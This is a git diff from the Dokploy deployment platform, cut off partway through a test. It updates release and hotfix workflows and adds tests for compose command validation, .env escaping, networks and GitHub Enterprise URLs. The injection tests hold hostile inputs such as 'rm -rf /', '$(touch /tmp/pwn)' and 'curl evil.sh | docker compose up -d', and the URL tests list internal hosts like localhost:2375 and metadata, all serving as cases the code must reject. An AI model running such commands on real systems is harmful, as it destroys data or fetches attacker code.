diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index 1c228d27ec..e30b5d06a2 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -140,6 +140,7 @@ jobs: runs-on: ubuntu-latest outputs: version: ${{ steps.get_version.outputs.version }} + npm_version: ${{ steps.get_version.outputs.npm_version }} steps: - name: Checkout uses: actions/checkout@v4 @@ -151,6 +152,7 @@ jobs: run: | VERSION=$(node -p "require('./apps/dokploy/package.json').version") echo "version=$VERSION" >> $GITHUB_OUTPUT + echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT - name: Fetch install.sh run: | @@ -164,6 +166,7 @@ jobs: uses: softprops/action-gh-release@v2 with: tag_name: ${{ steps.get_version.outputs.version }} + target_commitish: ${{ github.sha }} name: ${{ steps.get_version.outputs.version }} generate_release_notes: true draft: false @@ -180,15 +183,18 @@ jobs: - name: Checkout uses: actions/checkout@v4 + - uses: pnpm/action-setup@v4 + with: + version: 10.22.0 + - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo cd /tmp/mcp-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json - npm install -g pnpm pnpm install pnpm run fetch-openapi pnpm run generate @@ -196,55 +202,53 @@ jobs: git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}" - name: Sync version to CLI repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo cd /tmp/cli-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}" - name: Sync version to SDK repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo cd /tmp/sdk-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}" diff --git a/.github/workflows/hotfix-cherry-pick.yml b/.github/workflows/hotfix-cherry-pick.yml new file mode 100644 index 0000000000..9632917d4b --- /dev/null +++ b/.github/workflows/hotfix-cherry-pick.yml @@ -0,0 +1,36 @@ +name: Hotfix Cherry-Pick + +on: + pull_request_target: + types: [closed, labeled] + +concurrency: + group: hotfix-to-main + cancel-in-progress: false + +jobs: + cherry-pick: + if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix') + runs-on: ubuntu-latest + permissions: + contents: write + steps: + - name: Checkout main + uses: actions/checkout@v4 + with: + ref: main + fetch-depth: 0 + token: ${{ secrets.HOTFIX_PUSH_TOKEN }} + + - name: Cherry-pick fix to main + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + SHA="${{ github.event.pull_request.merge_commit_sha }}" + if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then + git cherry-pick -x -m 1 "$SHA" + else + git cherry-pick -x "$SHA" + fi + git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]" + git push origin main diff --git a/.github/workflows/hotfix-release.yml b/.github/workflows/hotfix-release.yml new file mode 100644 index 0000000000..7e473b3d27 --- /dev/null +++ b/.github/workflows/hotfix-release.yml @@ -0,0 +1,28 @@ +name: Hotfix Release + +on: + workflow_dispatch: + +concurrency: + group: hotfix-to-main + cancel-in-progress: false + +jobs: + release: + runs-on: ubuntu-latest + steps: + - name: Checkout main + uses: actions/checkout@v4 + with: + ref: main + token: ${{ secrets.HOTFIX_PUSH_TOKEN }} + + - name: Bump patch version and push + run: | + git config user.name "Dokploy Bot" + git config user.email "bot@dokploy.com" + CURRENT=$(node -p "require('./apps/dokploy/package.json').version") + NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}') + sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json + git commit -am "chore: release ${NEW}" + git push origin main diff --git a/.gitignore b/.gitignore index d531bab015..602556df86 100644 --- a/.gitignore +++ b/.gitignore @@ -43,4 +43,7 @@ yarn-error.log* *.pem -.db \ No newline at end of file +.db + +.playwright-* +.credentials \ No newline at end of file diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts index 372a6fc592..f979c5c846 100644 --- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -28,7 +28,7 @@ const runsSafely = (command: string) => { const PAYLOADS = [ `$(touch ${MARK})`, - "`touch " + MARK + "`", + `\`touch ${MARK}\``, `x; touch ${MARK}`, `x | touch ${MARK}`, ]; @@ -101,4 +101,69 @@ describe("compose createCommand injection", () => { "deploy/docker-compose.prod.yml", ); }); + + it("allows chained docker compose commands with '&&'", () => { + const cmd = createCommand({ + ...base, + command: + "compose pull && docker compose down && docker compose up -d --build", + } as any); + expect(cmd).toBe( + "compose pull && docker compose down && docker compose up -d --build", + ); + }); + + it("allows chaining with the legacy 'docker-compose' spelling", () => { + const cmd = createCommand({ + ...base, + command: "compose pull && docker-compose down", + } as any); + expect(cmd).toBe("compose pull && docker-compose down"); + }); + + it("rejects a single '&' used for backgrounding", () => { + expect(() => + createCommand({ ...base, command: "compose up -d & sleep 1" } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects a malformed '&&&' chain", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull &&& docker compose up -d", + } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects chained segments that are not docker compose invocations", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && rm -rf /", + } as any), + ).toThrow(/must strictly start with 'docker compose '/); + }); + + it("rejects an attempted injection smuggled inside a chained segment", () => { + for (const bad of [ + "compose pull && docker compose up -d; touch /tmp/pwn", + "compose pull && docker compose up -d $(touch /tmp/pwn)", + "compose pull && docker compose up -d `touch /tmp/pwn`", + "compose pull && docker compose up -d | touch /tmp/pwn", + ]) { + expect(() => createCommand({ ...base, command: bad } as any)).toThrow( + /Invalid characters/, + ); + } + }); + + it("rejects a chain that only pretends to start with docker compose later in the string", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && curl evil.sh | docker compose up -d", + } as any), + ).toThrow(/Invalid characters/); + }); }); diff --git a/apps/dokploy/__test__/compose/env-file-literals.test.ts b/apps/dokploy/__test__/compose/env-file-literals.test.ts new file mode 100644 index 0000000000..2dbb7fa4ee --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-literals.test.ts @@ -0,0 +1,96 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose"; +import { afterEach, describe, expect, it } from "vitest"; + +// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 — +// values must survive Docker Compose's own `.env` parsing, not just base64 decode. +const appName = `env-file-literals-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); + +afterEach(() => { + try { + execFileSync("docker", ["compose", "down", "--remove-orphans"], { + cwd: codePath, + stdio: "ignore", + }); + } catch { + // Project may not have been created (e.g. an earlier assertion failed). + } + rmSync(projectPath, { force: true, recursive: true }); +}); + +const cases: Record = { + PASSWORD: "pa$$word", + SPECIAL: '!"#$%&/()=?', + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: "abc#de", + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----", +}; + +// How each value must be typed in the UI so the (unchanged) dotenv input +// parser resolves it to the raw string in `cases` above. +const inputEncoding: Record = { + PASSWORD: "pa$$word", + SPECIAL: `'!"#$%&/()=?'`, + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: `"abc#de"`, + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"', +}; + +describe("getCreateEnvFileCommand", () => { + it("writes special environment values that Docker Compose reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(inputEncoding) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = getCreateEnvFileCommand({ + appName, + composePath: "docker-compose.yml", + env: serviceEnv, + randomize: false, + suffix: "", + serverId: null, + environment: { project: { env: "" }, env: "" }, + } as Parameters[0]); + + execFileSync("bash", ["-c", command]); + + const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys( + cases, + ) + .map((key) => ` - ${key}=\${${key}}`) + .join("\n")}\n`; + writeFileSync(join(codePath, "docker-compose.yml"), composeFile); + + const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`; + + const out = execFileSync( + "docker", + ["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript], + { cwd: codePath, encoding: "utf8" }, + ); + + const parts = out.split("\0"); + const actual: Record = {}; + for (let i = 0; i < parts.length - 1; i += 2) { + actual[parts[i] as string] = parts[i + 1] as string; + } + + for (const [key, value] of Object.entries(cases)) { + expect(actual[key], key).toBe(value); + } + }, 60000); +}); diff --git a/apps/dokploy/__test__/compose/env-file-preserved.test.ts b/apps/dokploy/__test__/compose/env-file-preserved.test.ts new file mode 100644 index 0000000000..03aa057c48 --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-preserved.test.ts @@ -0,0 +1,45 @@ +import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose"; +import { describe, expect, it, vi } from "vitest"; + +// Compose now has a `createEnvFile` toggle (default true), mirroring the +// Application builder's flag: when disabled, Dokploy never writes `.env`, +// so a repo-tracked file survives untouched. +vi.mock("@dokploy/server/utils/docker/domain", () => ({ + writeDomainsToCompose: vi.fn().mockResolvedValue(""), +})); + +const baseCompose = { + appName: "env-file-toggle", + sourceType: "raw", + command: "", + composePath: "docker-compose.yml", + composeType: "docker-compose", + isolatedDeployment: false, + randomize: false, + suffix: "", + serverId: null, + env: "FOO=bar", + mounts: [], + domains: [], + environment: { project: { env: "" }, env: "" }, +} as unknown as Parameters[0]; + +describe("getBuildComposeCommand createEnvFile toggle", () => { + it("createEnvFile: false never writes the .env file", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: false, + }); + + expect(command).not.toContain("base64 -d >"); + }); + + it("createEnvFile: true (default) writes Dokploy's vars", async () => { + const command = await getBuildComposeCommand({ + ...baseCompose, + createEnvFile: true, + }); + + expect(command).toContain("base64 -d >"); + }); +}); diff --git a/apps/dokploy/__test__/compose/network/service-networks.test.ts b/apps/dokploy/__test__/compose/network/service-networks.test.ts new file mode 100644 index 0000000000..85d9129717 --- /dev/null +++ b/apps/dokploy/__test__/compose/network/service-networks.test.ts @@ -0,0 +1,199 @@ +import type { Compose, ComposeSpecification } from "@dokploy/server"; +import { + applyServiceNetworks, + declareUsedNetworksInRoot, + resolveServiceNetworks, +} from "@dokploy/server"; +import { db } from "@dokploy/server/db"; +import { beforeEach, expect, test, type vi } from "vitest"; +import { parse } from "yaml"; + +const findManyMock = db.query.network.findMany as ReturnType; + +beforeEach(() => { + findManyMock.mockReset(); + findManyMock.mockResolvedValue([]); +}); + +const baseCompose = { + serverId: null, + isolatedDeployment: false, +} as unknown as Compose; + +const withServiceNetworks = ( + serviceNetworks: Compose["serviceNetworks"], +): Compose => ({ ...baseCompose, serviceNetworks }); + +test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => { + const result = parse(` +services: + web: + image: nginx +`) as ComposeSpecification; + + const injected = await applyServiceNetworks(result, withServiceNetworks([])); + + expect(injected.size).toBe(0); + expect(result.services?.web?.networks).toBeUndefined(); + expect(findManyMock).not.toHaveBeenCalled(); +}); + +test("applyServiceNetworks: injects assigned network by networkId", async () => { + findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]); + + const result = parse(` +services: + web: + image: nginx +`) as ComposeSpecification; + + const injected = await applyServiceNetworks( + result, + withServiceNetworks([ + { + serviceName: "web", + networkIds: ["net-1"], + detachDokployNetwork: false, + }, + ]), + ); + + expect(injected.has("shared-net")).toBe(true); + expect(result.services?.web?.networks).toContain("shared-net"); +}); + +test("applyServiceNetworks: detach removes dokploy-network and default", async () => { + const result = parse(` +services: + db: + image: postgres + networks: + - dokploy-network + - default +`) as ComposeSpecification; + + const injected = await applyServiceNetworks( + result, + withServiceNetworks([ + { serviceName: "db", networkIds: [], detachDokployNetwork: true }, + ]), + ); + + expect(injected.size).toBe(0); + expect(result.services?.db?.networks).not.toContain("dokploy-network"); + expect(result.services?.db?.networks).not.toContain("default"); +}); + +test("applyServiceNetworks: unknown networkId is skipped", async () => { + findManyMock.mockResolvedValue([]); + + const result = parse(` +services: + web: + image: nginx +`) as ComposeSpecification; + + const injected = await applyServiceNetworks( + result, + withServiceNetworks([ + { + serviceName: "web", + networkIds: ["missing"], + detachDokployNetwork: false, + }, + ]), + ); + + expect(injected.size).toBe(0); +}); + +test("applyServiceNetworks: skips services that don't exist in the compose", async () => { + findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]); + + const result = parse(` +services: + web: + image: nginx +`) as ComposeSpecification; + + const injected = await applyServiceNetworks( + result, + withServiceNetworks([ + { + serviceName: "ghost", + networkIds: ["net-1"], + detachDokployNetwork: false, + }, + ]), + ); + + expect(injected.size).toBe(0); + expect(result.services?.web?.networks).toBeUndefined(); +}); + +test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => { + const used = parse(` +services: + web: + image: nginx + networks: + - dokploy-network +`) as ComposeSpecification; + declareUsedNetworksInRoot(used, new Set()); + expect(used.networks).toHaveProperty("dokploy-network"); + + const unused = parse(` +services: + web: + image: nginx + networks: + - default +`) as ComposeSpecification; + declareUsedNetworksInRoot(unused, new Set()); + expect(unused.networks ?? {}).not.toHaveProperty("dokploy-network"); +}); + +test("declareUsedNetworksInRoot: declares injected networks that are used", () => { + const result = parse(` +services: + web: + image: nginx + networks: + - shared-net +`) as ComposeSpecification; + + declareUsedNetworksInRoot(result, new Set(["shared-net", "unused-net"])); + + expect(result.networks).toHaveProperty("shared-net"); + expect(result.networks ?? {}).not.toHaveProperty("unused-net"); +}); + +test("resolveServiceNetworks: returns dokploy-network by default", async () => { + const resolved = await resolveServiceNetworks({}); + expect(resolved).toEqual([{ Target: "dokploy-network" }]); + expect(findManyMock).not.toHaveBeenCalled(); +}); + +test("resolveServiceNetworks: omits dokploy-network when detached", async () => { + const resolved = await resolveServiceNetworks({ detachDokployNetwork: true }); + expect(resolved).toEqual([]); +}); + +test("resolveServiceNetworks: appends overlay networks by networkId", async () => { + findManyMock.mockResolvedValue([{ name: "overlay-a" }]); + + const resolved = await resolveServiceNetworks({ networkIds: ["net-a"] }); + + expect(resolved).toEqual([ + { Target: "dokploy-network" }, + { Target: "overlay-a" }, + ]); +}); + +test("resolveServiceNetworks: networkSwarm override takes precedence", async () => { + const override = [{ Target: "custom-net" }]; + const resolved = await resolveServiceNetworks({ networkSwarm: override }); + + expect(resolved).toBe(override); + expect(findManyMock).not.toHaveBeenCalled(); +}); diff --git a/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts new file mode 100644 index 0000000000..4ce0f5ded3 --- /dev/null +++ b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts @@ -0,0 +1,43 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, readFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils"; +import { parse } from "dotenv"; +import { afterEach, describe, expect, it } from "vitest"; + +// Unlike compose's .env, this one is read by the app's own build tooling +// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped. +const appName = `env-file-literals-dockerfile-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); +const dockerFilePath = join(codePath, "Dockerfile"); + +afterEach(() => rmSync(projectPath, { force: true, recursive: true })); + +const cases: Record = { + PASSWORD: "pa$$word", + NESTED_JSON: '{"nested":{"a":1}}', + QUOTE_INSIDE: 'she said "hi"', + BACKSLASH: "back\\slash", + UNICODE: "héllo wörld 日本語 🚀", +}; + +describe("createEnvFileCommand", () => { + it("writes special environment values that a generic dotenv parser reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(cases) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", ""); + execFileSync("bash", ["-c", command]); + + const written = readFileSync(join(codePath, ".env"), "utf8"); + const parsed = parse(written); + + for (const [key, value] of Object.entries(cases)) { + expect(parsed[key], key).toBe(value); + } + }); +}); diff --git a/apps/dokploy/__test__/drop/drop.test.ts b/apps/dokploy/__test__/drop/drop.test.ts index a524e8da06..eda3b9f0dd 100644 --- a/apps/dokploy/__test__/drop/drop.test.ts +++ b/apps/dokploy/__test__/drop/drop.test.ts @@ -32,6 +32,8 @@ const baseApp: ApplicationNested = { railpackVersion: "0.15.4", applicationId: "", previewLabels: [], + networkIds: [], + detachDokployNetwork: false, createEnvFile: true, bitbucketRepositorySlug: "", herokuVersion: "", diff --git a/apps/dokploy/__test__/git-provider/github-clone-host.test.ts b/apps/dokploy/__test__/git-provider/github-clone-host.test.ts new file mode 100644 index 0000000000..93e8d00497 --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-clone-host.test.ts @@ -0,0 +1,106 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// cloneGithubRepository builds a shell command; the only thing under test here +// is which host ends up in the clone URL, so the app auth is stubbed out. +const mockFindGithubById = vi.hoisted(() => vi.fn()); + +vi.mock("@dokploy/server/services/github", () => ({ + findGithubById: mockFindGithubById, +})); + +vi.mock("@octokit/auth-app", () => ({ + createAppAuth: vi.fn(), +})); + +vi.mock("octokit", () => ({ + Octokit: class { + auth = async () => ({ token: "gh-token" }); + }, +})); + +const { cloneGithubRepository } = await import( + "@dokploy/server/utils/providers/github" +); + +const provider = (githubUrl: string) => ({ + githubId: "gh-1", + githubUrl, + githubAppId: 1, + githubPrivateKey: "key", + githubInstallationId: "42", +}); + +const clone = async () => { + const command = await cloneGithubRepository({ + appName: "my-app", + owner: "acme", + repository: "web", + branch: "main", + githubId: "gh-1", + enableSubmodules: false, + serverId: null, + }); + return command.replace(/\\/g, ""); +}; + +describe("cloneGithubRepository host", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("clones from github.com for a default provider", async () => { + mockFindGithubById.mockResolvedValue(provider("https://github.com")); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.com/acme/web.git", + ); + expect(command).not.toContain("ghe.com"); + }); + + it("clones from the Enterprise host, not github.com", async () => { + mockFindGithubById.mockResolvedValue(provider("https://acme.ghe.com")); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@acme.ghe.com/acme/web.git", + ); + expect(command).not.toContain("github.com"); + }); + + it("clones from a self-hosted Enterprise Server host", async () => { + mockFindGithubById.mockResolvedValue( + provider("https://github.corp.acme.com"), + ); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.corp.acme.com/acme/web.git", + ); + }); + + it("keeps an explicit port in the clone host", async () => { + mockFindGithubById.mockResolvedValue( + provider("https://github.acme.com:8443"), + ); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.acme.com:8443/acme/web.git", + ); + }); + + it("falls back to github.com for a provider stored before this feature", async () => { + mockFindGithubById.mockResolvedValue(provider("")); + + const command = await clone(); + + expect(command).toContain( + "https://oauth2:gh-token@github.com/acme/web.git", + ); + }); +}); diff --git a/apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts b/apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts new file mode 100644 index 0000000000..07d452dea5 --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-enterprise-url.test.ts @@ -0,0 +1,168 @@ +import { + DEFAULT_GITHUB_API_URL, + DEFAULT_GITHUB_URL, + deriveGithubApiUrl, + normalizeGithubUrl, + parseGithubBaseUrl, +} from "@dokploy/server/utils/providers/github"; +import { describe, expect, it } from "vitest"; + +const urlOf = (result: ReturnType) => + "url" in result ? result.url : null; + +describe("normalizeGithubUrl", () => { + it("defaults to github.com when empty", () => { + expect(normalizeGithubUrl("")).toBe(DEFAULT_GITHUB_URL); + expect(normalizeGithubUrl(null)).toBe(DEFAULT_GITHUB_URL); + expect(normalizeGithubUrl(undefined)).toBe(DEFAULT_GITHUB_URL); + expect(normalizeGithubUrl(" ")).toBe(DEFAULT_GITHUB_URL); + }); + + it("assumes https when no scheme is given", () => { + expect(normalizeGithubUrl("acme.ghe.com")).toBe("https://acme.ghe.com"); + }); + + it("strips paths, queries and trailing slashes", () => { + expect(normalizeGithubUrl("https://acme.ghe.com/")).toBe( + "https://acme.ghe.com", + ); + expect(normalizeGithubUrl("https://acme.ghe.com///")).toBe( + "https://acme.ghe.com", + ); + expect(normalizeGithubUrl("https://github.acme.com/some/path?x=1")).toBe( + "https://github.acme.com", + ); + }); + + it("keeps an explicit port", () => { + expect(normalizeGithubUrl("https://github.acme.com:8443")).toBe( + "https://github.acme.com:8443", + ); + }); + + it("falls back to github.com on unusable input", () => { + expect(normalizeGithubUrl("ftp://github.acme.com")).toBe( + DEFAULT_GITHUB_URL, + ); + expect(normalizeGithubUrl("http://github.internal")).toBe( + DEFAULT_GITHUB_URL, + ); + expect(normalizeGithubUrl("https://")).toBe(DEFAULT_GITHUB_URL); + }); +}); + +describe("parseGithubBaseUrl", () => { + it("accepts github.com and Enterprise hosts", () => { + expect(urlOf(parseGithubBaseUrl("https://acme.ghe.com"))).toBe( + "https://acme.ghe.com", + ); + // A self-hosted instance behind the corporate network is a valid target. + expect(urlOf(parseGithubBaseUrl("https://github.corp.acme.com"))).toBe( + "https://github.corp.acme.com", + ); + expect(urlOf(parseGithubBaseUrl("https://github.acme.com:8443"))).toBe( + "https://github.acme.com:8443", + ); + }); + + it("treats an absent value as github.com", () => { + // Not specified is different from specified wrong. + expect(urlOf(parseGithubBaseUrl(undefined))).toBe(DEFAULT_GITHUB_URL); + expect(urlOf(parseGithubBaseUrl(null))).toBe(DEFAULT_GITHUB_URL); + expect(urlOf(parseGithubBaseUrl(" "))).toBe(DEFAULT_GITHUB_URL); + }); + + it("rejects plaintext http", () => { + expect(parseGithubBaseUrl("http://acme.ghe.com")).toHaveProperty("error"); + expect(parseGithubBaseUrl("http://localhost:2375")).toHaveProperty("error"); + }); + + it("rejects dotless hostnames", () => { + expect(parseGithubBaseUrl("https://metadata")).toHaveProperty("error"); + expect(parseGithubBaseUrl("https://localhost")).toHaveProperty("error"); + }); + + it("rejects a dotless hostname hidden behind the DNS root label", () => { + // "metadata." resolves like "metadata" but the trailing dot would satisfy + // a naive `includes(".")` check. + expect(parseGithubBaseUrl("https://metadata.")).toHaveProperty("error"); + expect(parseGithubBaseUrl("https://localhost.")).toHaveProperty("error"); + }); + + it("never falls back to github.com on a typo", () => { + // The symptom that opened the ticket: a provider silently pointing at + // github.com and reporting that it cannot find the repositories. + for (const typo of [ + "htps://acme.ghe.com", + "ftp://acme.ghe.com", + "https://", + "acme .ghe.com", + ]) { + const result = parseGithubBaseUrl(typo); + expect(result, typo).toHaveProperty("error"); + expect(urlOf(result), typo).not.toBe(DEFAULT_GITHUB_URL); + } + }); +}); + +describe("deriveGithubApiUrl", () => { + it("maps github.com to api.github.com", () => { + expect(deriveGithubApiUrl("https://github.com")).toBe( + DEFAULT_GITHUB_API_URL, + ); + expect(deriveGithubApiUrl("https://www.github.com")).toBe( + DEFAULT_GITHUB_API_URL, + ); + expect(deriveGithubApiUrl(undefined)).toBe(DEFAULT_GITHUB_API_URL); + }); + + it("prefixes api. for data residency tenants", () => { + expect(deriveGithubApiUrl("https://acme.ghe.com")).toBe( + "https://api.acme.ghe.com", + ); + expect(deriveGithubApiUrl("americancreditacceptance.ghe.com")).toBe( + "https://api.americancreditacceptance.ghe.com", + ); + }); + + it("uses /api/v3 for Enterprise Server", () => { + expect(deriveGithubApiUrl("https://github.acme.com")).toBe( + "https://github.acme.com/api/v3", + ); + expect(deriveGithubApiUrl("https://github.acme.com:8443")).toBe( + "https://github.acme.com:8443/api/v3", + ); + }); + + it("does not treat a lookalike host as data residency", () => { + // Must not match the .ghe.com branch just because the string contains it. + expect(deriveGithubApiUrl("https://ghe.com.acme.io")).toBe( + "https://ghe.com.acme.io/api/v3", + ); + }); + + it("still detects data residency behind the DNS root label", () => { + // "acme.ghe.com." would otherwise miss endsWith(".ghe.com") and fall + // through to the /api/v3 branch. + expect(deriveGithubApiUrl("https://acme.ghe.com.")).toBe( + "https://api.acme.ghe.com", + ); + }); + + it("maps www.github.com, which a user may well type", () => { + // Not dead weight: GitHub never redirects a manifest there, but the value + // comes from a text field. Without this it would derive + // https://www.github.com/api/v3. + expect(deriveGithubApiUrl("https://www.github.com")).toBe( + DEFAULT_GITHUB_API_URL, + ); + }); +}); + +describe("providers created before Enterprise support", () => { + it("keeps pointing at github.com", () => { + // The column defaults to https://github.com, but a null must not break it. + expect(deriveGithubApiUrl(null)).toBe(DEFAULT_GITHUB_API_URL); + expect(new URL(normalizeGithubUrl(null)).host).toBe("github.com"); + }); +}); diff --git a/apps/dokploy/__test__/git-provider/github-setup-handler.test.ts b/apps/dokploy/__test__/git-provider/github-setup-handler.test.ts new file mode 100644 index 0000000000..840ccb1ec6 --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-setup-handler.test.ts @@ -0,0 +1,143 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +// The gh_init branch runs on a GET the user can be linked into, so a rejected +// host must produce a 400 *before* any outbound request is made. +const mockValidateRequest = vi.hoisted(() => vi.fn()); +const mockHasPermission = vi.hoisted(() => vi.fn()); +const mockCreateGithub = vi.hoisted(() => vi.fn()); +const mockOctokitRequest = vi.hoisted(() => vi.fn()); + +vi.mock("@dokploy/server", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + validateRequest: mockValidateRequest, + createGithub: mockCreateGithub, + }; +}); + +vi.mock("@dokploy/server/services/permission", () => ({ + hasPermission: mockHasPermission, +})); + +vi.mock("octokit", () => ({ + Octokit: class { + request = mockOctokitRequest; + }, +})); + +const { default: handler } = await import("@/pages/api/providers/github/setup"); + +const ORG = "org-1"; +const USER = "user-1"; + +const buildRes = () => { + const res = { + statusCode: 0, + body: undefined as unknown, + redirectedTo: undefined as string | undefined, + status(code: number) { + res.statusCode = code; + return res; + }, + json(payload: unknown) { + res.body = payload; + return res; + }, + redirect(_code: number, url: string) { + res.redirectedTo = url; + return res; + }, + }; + return res; +}; + +const call = async (githubUrl?: string | string[]) => { + const res = buildRes(); + const req = { + query: { + code: "manifest-code", + state: `gh_init:${ORG}:${USER}`, + ...(githubUrl === undefined ? {} : { githubUrl }), + }, + headers: {}, + } as unknown as Parameters[0]; + + await handler(req, res as unknown as Parameters[1]); + return res; +}; + +describe("github setup handler — host validation", () => { + beforeEach(() => { + vi.clearAllMocks(); + mockValidateRequest.mockResolvedValue({ + user: { id: USER }, + session: { activeOrganizationId: ORG }, + }); + mockHasPermission.mockResolvedValue(true); + mockOctokitRequest.mockResolvedValue({ + data: { + name: "Dokploy", + html_url: "https://acme.ghe.com/apps/dokploy", + id: 1, + client_id: "cid", + client_secret: "csecret", + webhook_secret: "wsecret", + pem: "key", + }, + }); + 